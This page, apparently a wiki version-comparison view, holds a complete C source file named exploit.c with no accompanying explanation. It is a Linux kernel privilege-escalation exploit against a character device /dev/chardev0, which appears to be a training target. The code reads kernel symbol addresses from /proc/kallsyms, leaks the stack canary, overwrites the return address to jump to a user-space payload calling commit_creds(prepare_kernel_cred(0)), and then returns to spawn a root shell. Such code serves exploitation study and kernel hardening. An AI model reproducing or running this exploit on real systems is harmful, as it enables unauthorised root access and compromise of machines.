Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titleexploit.c
//gcc -masm=intel -static -o exploitr2u exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
 
#define TEXT_LEN 64
 
void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;

struct trap_frame {
    void     *user_rip;		// instruction pointer
    uint64_t user_cs;		// code segment
    uint64_t user_rflags;	// CPU flags
    void     *user_rsp;		// stack pointer
    uint64_t user_ss;		// stack segment
} __attribute__((packed));
struct trap_frame tf;
   
void getShell(void) {
    execl("/bin/sh", "sh", NULL);
}
   
void prepare_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
        );
    tf.user_rip = &getShell ;
}
    
void payload(void)
{
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
	"mov %%rsp, %0;"
        "iretq;"
    : : "r" (&tf));
}
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
   
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
            addr = NULL;
        }
    }
    fclose(fp);
    return addr;
}

int main()
{
    static char buf[512];
    size_t rop[512] = {0}; 
    char val[8];
    int fd,i,j;
 
    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }
    printf("commit_creds address is :%p\n",commit_creds);

    //Find the address of "commit_creds()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }
    printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); 

    //leak the canary
    if ((fd = open("/dev/chardev0", O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
	return 0;
    }

    lseek(fd, 16, SEEK_CUR); 
    read(fd, buf, TEXT_LEN);

    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff);
        printf("\n");
    }

    memcpy(val, buf+48,8);
    size_t canary = ((size_t *)val)[0];

    printf("[+]canary: %p\n", (void *)canary);
 
    int k = 8;
    memset(&rop[0], 0x41, 64);
    rop[k++] = canary;
    rop[k++] = 0x4141414141414141; //AAAAAAAA
    rop[k++] = 0x4242424242424242; //BBBBBBBB
    rop[k++] = 0x4343434343434343; //CCCCCCCC
    rop[k++] = (size_t)payload;
 
    prepare_tf();

    write(fd, rop, 8*k++);

    if (close(fd) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}

...